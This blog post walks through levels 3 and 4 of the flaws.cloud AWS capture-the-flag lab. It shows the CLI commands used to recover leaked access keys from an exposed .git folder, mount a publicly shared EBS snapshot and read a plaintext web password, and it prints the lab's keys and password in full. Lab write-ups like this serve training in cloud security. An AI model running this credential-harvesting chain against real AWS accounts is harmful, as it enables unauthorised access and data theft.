Post

Penetration Testing on AWS - Part Three - Flaws.Cloud Walkthrough

Posted
By Amal PK 10 min read

Part of a Series on AWS Penetration Testing

This post is the first part of a series that will cover more advanced aspects of penetration testing on AWS. Stay tuned for upcoming parts that will delve deeper into specific testing strategies and tools.

PartTopicLink
Part 1Penetration Testing on AWS - Part OneRead Now
Part 2Penetration Testing on AWS - Part Two: Flaws.Cloud WalkthroughRead Now
Part 3Penetration Testing on AWS - Part Three: Flaws.Cloud WalkthroughRead Now
Part 4Penetration Testing on AWS - Part Four: Flaws.Cloud WalkthroughRead Now

Introduction

Welcome to the third installment of our AWS Penetration Testing series! In the previous part, we explored Flaws.Cloud Level 2, where we identified and exploited misconfigurations to gain insights into AWS security risks. Building on that foundation, this post dives into Flaws.Cloud Level 3, where the challenges become more complex and demand a deeper understanding of AWS services, permissions, and misconfigurations.

Challenge Overview

This challenge comprises a series of levels, six levels to be exact, designed to teach some common mistakes made when using Amazon Web Services (AWS) including IAM, EC2, S3, and more, and how to exploit them. A series of hints are provided to assist in teaching how to discover the information needed to pass each challenge.

Disclaimer:

I recommend everyone attempt this challenge themselves before reading through this article to test their own skills and capabilities.

Level 3

Browsing to the new URL and we get the lessons learnt for level 2 and the hint for the next challenge. They say it’s the same but now involves keys. Lets start by seeing what we can list with the same technique as before. aws s3 ls s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud

1
2
3
4
5
6
7
8

                             PRE .git/
2017-02-26 19:14:33     123637 authenticated_users.png
2017-02-26 19:14:34       1552 hint1.html
2017-02-26 19:14:34       1426 hint2.html
2017-02-26 19:14:35       1247 hint3.html
2017-02-26 19:14:33       1035 hint4.html
2020-05-22 14:21:10       1861 index.html
2017-02-26 19:14:33         26 robots.txt

There is a .git folder present in s3 bucket. If anyone is unfamiliar with git, any uploaded .git repository is worth looking at because it often contains sensitive information. Download these folder to our local machine.

1

aws s3 sync s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/

.git/COMMIT_EDITMSG contains the message: “Oops, accidentally added something I shouldn’t have” - which sounds a little fishy. Running git log

1
2
3
4
5
6
7
8
9
10
11

  commit b64c8dcfa8a39af06521cf4cb7cdce5f0ca9e526
  Author: 0xdabbad00 <scott@summitroute.com>
  Date:   Sun Sep 17 09:10:43 2017 -0600

      Oops, accidentally added something I shouldn't have

  commit f52ec03b227ea6094b04e43f475fb0126edb5a61
  Author: 0xdabbad00 <scott@summitroute.com>
  Date:   Sun Sep 17 09:10:07 2017 -0600

      first commit

This implies there is something in commit f52ec03b227ea6094b04e43f475fb0126edb5a61 that the developer didn’t want there, and removed it in commit b64c8dcfa8a39af06521cf4cb7cdce5f0ca9e526 Running git show <HASH> will show the changes made by the particular commit.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34

git show f52ec03b227ea6094b04e43f475fb0126edb5a61
commit f52ec03b227ea6094b04e43f475fb0126edb5a61 (HEAD)
Author: 0xdabbad00 <scott@summitroute.com>
Date:   Sun Sep 17 09:10:07 2017 -0600

    first commit

diff --git a/access_keys.txt b/access_keys.txt
new file mode 100644
index 0000000..e3ae6dd
--- /dev/null
+++ b/access_keys.txt
@@ -0,0 +1,2 @@
+access_key AKIAJ366LIPB4IJKT7SA
+secret_access_key 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
diff --git a/authenticated_users.png b/authenticated_users.png
new file mode 100644
index 0000000..76e4934
Binary files /dev/null and b/authenticated_users.png differ
diff --git a/hint1.html b/hint1.html
new file mode 100644
index 0000000..5323d77
--- /dev/null
+++ b/hint1.html
@@ -0,0 +1,38 @@
+<html>^M
+    <head>^M
+        <title>flAWS</title>^M
+        <META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW">^M
+        <style>^M
+            body { font-family: Andale Mono, monospace; }^M
+            :not(center) > pre { background-color: #202020; padding: 4px; border-radius: 5px; border-color:#00d000; ^M
+            border-width: 1px; border-style: solid; white-space: pre-wrap;} ^M
+        </style>^M

We got ACCESS KEY and SECRET Lets configure this aws as a new profile.

1
2
3
4
5

aws configure --profile Flaws        
AWS Access Key ID [None]: AKIAJ366LIPB4IJKT7SA
AWS Secret Access Key [None]: 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
Default region name [None]: us-west-2
Default output format [None]: 

1
2
3
4
5
6
7
8
9
10
11
12

aws s3 ls --profile Flaws      
2024-11-11 22:09:06 2f4e53154c0a7fd086a04a12a452c2a4caed8da0.flaws.cloud
2024-11-12 11:05:22 config-bucket-975426262029
2024-11-09 15:33:01 flaws-logs
2024-11-12 23:28:57 flaws.cloud
2024-11-09 18:55:57 level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud
2024-11-13 03:43:33 level3-9afd3927f195e10225021a578e6f78df.flaws.cloud
2024-11-09 18:55:57 level4-1156739cfb264ced6de514971a4bef68.flaws.cloud
2024-11-09 18:55:57 level5-d2891f604d2061b6977c2481b0c8333e.flaws.cloud
2024-11-13 03:43:34 level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud
2024-11-10 06:25:07 theend-797237e8ada164bf9f12cebf93b282cf.flaws.cloud

List all the buckets accessible to the profile:

1
2
3
4
5
6
7
8
9

aws s3 ls  s3://flaws.cloud/ --no-sign-request

2017-03-13 23:00:38       2575 hint1.html
2017-03-02 23:05:17       1707 hint2.html
2017-03-02 23:05:11       1101 hint3.html
2024-02-21 21:32:41       2861 index.html
2018-07-10 12:47:16      15979 logo.png
2017-02-26 20:59:28         46 robots.txt
2017-02-26 20:59:30       1051 secret-dd02c7c.html

We can now see the buckets for levels 4,5,6 and the end. Lets browse to level 4 in the browser!

Level 4

For the next level, you need to get access to the web page running on an EC2 at 4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud.
It’ll be useful to know that a snapshot was made of that EC2 shortly after nginx was setup on it.

For level 4 we are told we need to access a web page hosted on an EC2 instance. If we click on the link we will be asked for credentials which we do not know. However, we can impersonate the creator through aws CLI with the access keys.

Lets take a look at what we have available for EC2 commands in the CLI by finding the aws CLI documentation (https://docs.aws.amazon.com/cli/latest/reference/ec2/).

After trying some EC2 commands, nothing was working. So perhaps we need to do some enumeration of the user we have found. STS is Security Token Service and handles security controls of various AWS accounts. The other one to check would be IAM. Looking around for commands for these, we can find the following: aws sts get-caller-identity --profile flawslevel3

1
2
3
4
5

{
    "UserId": "AIDAJQ3H5DC3LEG2BKSLC",
    "Account": "975426262029",
    "Arn": "arn:aws:iam::975426262029:user/backup"
}

By default, snapshots are private in AWS, but they can be shared securely with other accounts by specifying the account ID of the destination account. However, some users inadvertently make their snapshots public and forget to manage their access.

To view all snapshots associated with a specific owner ID, use the following command:

1
2

aws --profile level-3 ec2 describe-snapshots --owner-id 975426262029

Initially, you may encounter an error requiring you to specify a region. As we discovered in Level 1, the correct region is us-west-2. To specify the region, run:

1
2

aws --profile level-3 ec2 describe-snapshots --owner-id 975426262029 --region us-west-2

This command returns a list of snapshots associated with the owner ID, including details like the snapshot description, volume ID, encryption status, and more. Here’s an example output:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

{
    "Snapshots": [
        {
            "Description": "",
            "Tags": [
                {
                    "Value": "flaws backup 2017.02.27",
                    "Key": "Name"
                }
            ],

            "Encrypted": false,
            "VolumeId": "vol-04f1c039bc13ea950",
            "State": "completed",
            "VolumeSize": 8,
            "StartTime": "2017-02-28T01:35:12.000Z",
            "Progress": "100%",
            "OwnerId": "975426262029",
            "SnapshotId": "snap-0b49342abd1bdcb89"
        }
    ]
}

We can check the permissions on this snapshot with: aws ec2 describe-snapshot-attribute --snapshot-id snap-0b49342abd1bdcb89 --attribute createVolumePermission --profile flawslevel3

1
2
3
4
5
6
7
8

{
    "CreateVolumePermissions": [
        {
            "Group": "all"
        }
    ],
    "SnapshotId": "snap-0b49342abd1bdcb89"
}

We can see that anyone can create a volume based on this snapshot! We can now see a snapshot for our EC2 instance. Now we need to mount it so we can look inside. EC2 are essentially virtual machines. To mount it you will need to create your own EC2 machine, then mount the snapshot.

First off we need to create an EC2 volume (kind of a hard drive) for us-west-2 with the snapshot-id of the public EC2 snapshot we found earlier. aws ec2 create-volume --region us-west-2 --availability-zone us-west-2b --snapshot-id snap-0b49342abd1bdcb89

Always check the availability zone of the Ec2 instance you created before creating the volume.

Note that for this to work, I had to set up AmazonEC2FullAccess permission for the user. Less permissive settings would have probably worked as well and would be recommended.

1
2
3
4
5
6
7
8
9
10
11
12
13

{
    "AvailabilityZone": "us-west-2b",
    "CreateTime": "2024-12-17T07:55:36+00:00",
    "Encrypted": false,
    "Size": 8,
    "SnapshotId": "snap-0b49342abd1bdcb89",
    "State": "creating",
    "VolumeId": "vol-01bf243be9febd9bc",
    "Iops": 100,
    "Tags": [],
    "VolumeType": "gp2",
    "MultiAttachEnabled": false
}

Looks good!

1
2
3
4
5
6
7
8

aws ec2 describe-volumes
        
        {
              <snip>
              "VolumeId": "vol-01bf243be9febd9bc",
              "State": "available"
              <snip>
        }

After that we need to use the AWS web console to create an EC2. Go onto the portal and hit the create a VM with EC2 button. In the URL I was sent to us-east-2, so i just changed that to us-west-2 in the URL, since our volume is available there. We should just be able to create any EC2 volume, so lets go for an Ubuntu image. After it is created we will SSH in and manually mount our volume.

Select EC2 > Create > Choose Ubuntu > Review and Launch > Launch > enter new key pair > download pem file > View instances > choose instance > click connect at the top > follow instructions to SSH into the machine. Change the downloaded pem file with chmod 400 flaws.pem or whatever you named your pem as. Connect to Ec2 instance via ssh. Now with the info from the above commands, we should be able to attach the volume to the instance with the following: aws ec2 attach-volume --volume-id vol-0fb33b360dc095bf9 --instance-id i-0b2f1bdcbfda7602b --device /dev/sdf --region us-west-2 Or we can attach by going to EC2 > Volume tab in AWS console and attach the volume to the created instance. We can list available drives with lsblk

1
2
3
4
5
6
7
8
9
10
11

NAME     MAJ:MIN   RM  SIZE RO TYPE MOUNTPOINTS
loop0      7:0      0 26.3M  1 loop /snap/amazon-ssm-agent/9881
loop1      7:1      0 73.9M  1 loop /snap/core22/1663
loop2      7:2      0 38.8M  1 loop /snap/snapd/21759
xvda     202:0      0    8G  0 disk 
├─xvda1  202:1      0    7G  0 part /
├─xvda14 202:14     0    4M  0 part 
├─xvda15 202:15     0  106M  0 part /boot/efi
└─xvda16 259:0      0  913M  0 part /boot
xvdbm    202:16384  0    8G  0 disk 
└─xvdbm1 202:16385  0    8G  0 part

Now we can mount the drive with: sudo mkdir /mnt/flaws/ sudo mount /dev/xvdbm1 /mnt/flaws mount

After this we can browse to /mnt/flaws and see the file system of the volume! Now lets look for some interesting files! Oops! they left the script in their home-directory with the command to generate the encrypted htpasswd from the clear-text one!

1
2
3
4
5

>/mnt/flaws/home/ubuntu

$ cat setupNginx.sh | more
htpasswd -b /etc/nginx/.htpasswd flaws nCP8xigdjpjyiXgJ7nJu7rw5Ro68iE8M

Lets try that. User: flaws Password: nCP8xigdjpjyiXgJ7nJu7rw5Ro68iE8M

WORKS!

1
2
3
4
5
6
7
8
9
10
11

 _____  _       ____  __    __  _____
|     || |     /    ||  |__|  |/ ___/
|   __|| |    |  o  ||  |  |  (   \_ 
|  |_  | |___ |     ||  |  |  |\__  |
|   _] |     ||  _  ||  `  '  |/  \ |
|  |   |     ||  |  | \      / \    |
|__|   |_____||__|__|  \_/\_/   \___|

# flAWS - Level 5

Good work getting in. This level is described at [http://level5-d2891f604d2061b6977c2481b0c8333e.flaws.cloud/243f422c/](http://level5-d2891f604d2061b6977c2481b0c8333e.flaws.cloud/243f422c/)

Conclusion

Congratulations on completing Levels 3 and 4 of the Flaws.cloud CTF challenge! In these levels, you explored AWS snapshots, identified misconfigured permissions, and learned how to create and attach EC2 volumes based on publicly accessible snapshots. These challenges demonstrated the importance of securing AWS resources, particularly snapshots and permissions, to prevent unauthorized access to sensitive data.

I’ll be continuing the next level at next blog, Penetration Testing on AWS - Part Four, we’ll continue with the remaining levels, exploring even more advanced techniques and uncovering additional misconfigurations in AWS. Stay tuned, and remember: always test your skills first before seeking solutions. Keep hacking, keep learning!

Cloud, AWS
Cloud AWS Vuln CTF Penetration test
This post is licensed under CC BY 4.0 by the author.